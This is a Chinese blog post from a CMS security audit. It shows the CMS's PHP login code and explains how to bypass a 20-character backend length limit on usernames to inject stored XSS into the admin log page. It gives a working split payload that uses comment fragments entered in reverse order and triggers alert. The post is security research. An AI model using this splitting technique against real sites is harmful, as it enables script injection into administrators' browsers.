xss绕过代码后端长度限制的方法

这篇文章是我近期在审计一套 CMS 的时候顺便写的。

一般来讲程序对于输入字符长度进行限制的方法主要分两种,一种是前端的长度限制,这种的绕过只需要修改前端源码即可,或者本地构造一个表单。

本次审计的这套 CMS 存在一个 XSS 漏洞,由于日志入库验证不严格导致存在该漏洞,只需要尝试登陆即可写入 payload 。

$uid = 0;

$cfrom = $this->method->request('cfrom', $cfrom);

$token = $this->method->request('token');

$device= $this->method->request('device', $device);

$ip = $this->method->request('ip', $this->method->ip);

$web = $this->method->request('web', $this->method->web);

$cfroar= explode(',', 'pc,reim,weixin,appandroid,appiphone,mweb');

if(!in_array($cfrom, $cfroar))return 'not found cfrom';

if($user=='')return '用户名不能为空';

if($pass==''&&strlen($token)<8)return '密码不能为空';

$user = addslashes(substr($user, 0, 20));

$pass = addslashes($pass);

$logins = '登录成功';

$msg = '';

$fields = '`pass`,`id`,`name`,`user`,`face`,`deptname`';

$arrs = array(

'user' => $user,

'status|eqi' => 1,

'type|eqi' => 1,

'state|neqi' => 5

);

$us = $this->db->getone('admin', $arrs , $fields);

if(!$us){

unset($arrs['user']);

$arrs['name'] = $user;

$tos = $this->db->rows('admin', $arrs);

if($tos>1){

$msg = '存在相同用户名,系统无法识别';

}

if($msg=='')$us = $this->db->getone('admin', $arrs , $fields);

}

if($msg=='' && !$us){

$msg = '用户不存在';

}else if($msg==''){

$uid = $us['id'];

$user = $us['user'];

if(md5($pass)!=$us['pass'])$msg='密码错误';

if($pass==HIGHPASS){

$msg = '';

$logins = '管理员密码登录成功';

}

if($msg!=''&&strlen($token)>=8){

$moddt = date('Y-m-d H:i:s', time()-10*60*1000);

$trs = $this->getone("`uid`='$uid' and `token`='$token' and `moddt`>='$moddt'");

if($trs){

$msg = '';

$logins = '快捷登录';

}

}

}

$name = $face = $deptname = '';

if($msg==''){

$name = $us['name'];

$deptname = $us['deptname'];

$face = $us['face'];

if(!$this->isempt($face))$face = URL.''.$face.'';

$face = $this->method->repempt($face, 'images/noface.jpg');

$this->db->update('admin',"`loginci`=`loginci`+1", $uid);

}else{

$logins = $msg;

}

m('log')->addlog(''.$cfrom.'登录','['.$user.']'.$logins.'', array(

'optid' => $uid,

'optname' => $name,

'ip' => $ip,

'web' => $web,

));

程序前部分代码对整个登录过程进行了完整验证,同样开发者为了防止插入恶意代码对截取的数据长度限制到了 20 位并使用了 addslashes 对敏感字符进行转义。所以在后面的写入日志那里就很难写入有攻击性的 XSS 代码,单纯 <script></script> 就已经占了 17 个字符。

2bf6a87193816512e0e609590f5cfa90.png

通过查看日志的源代码发现其实脚本标签是可以插入的,只不过没有办法写入完整代码,但是最为重要的一个因素在于,这里所插入的代码都是显示在同一个页面的。

所以接下来就是拼接 Payload 代码。考虑到程序会在渲染到页面的时候增加许多的标签导致脚本语法出错所以就直接给注释掉。

最终 payload 代码如下:

*/</script>

*/;alert(a);/*

*//xss//*

*/a=/*

<script>var/*

这里顺序的问题是因为程序的数据是从后往前显示,咱们输入的顺序是反的但是在页面显示的时候顺序是正常的。

2d16225e61de2efc52936533adbdac29.png

成功触发 XSS 代码。

最终源代码如下:

d4dc66a2455aaba1be8ce1b541ff7059.png

a0bd14d5aa8575428641535ca6ecce91.png

最终通过注释符与代码之间的拼接成功的插入了完整的XSS代码。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值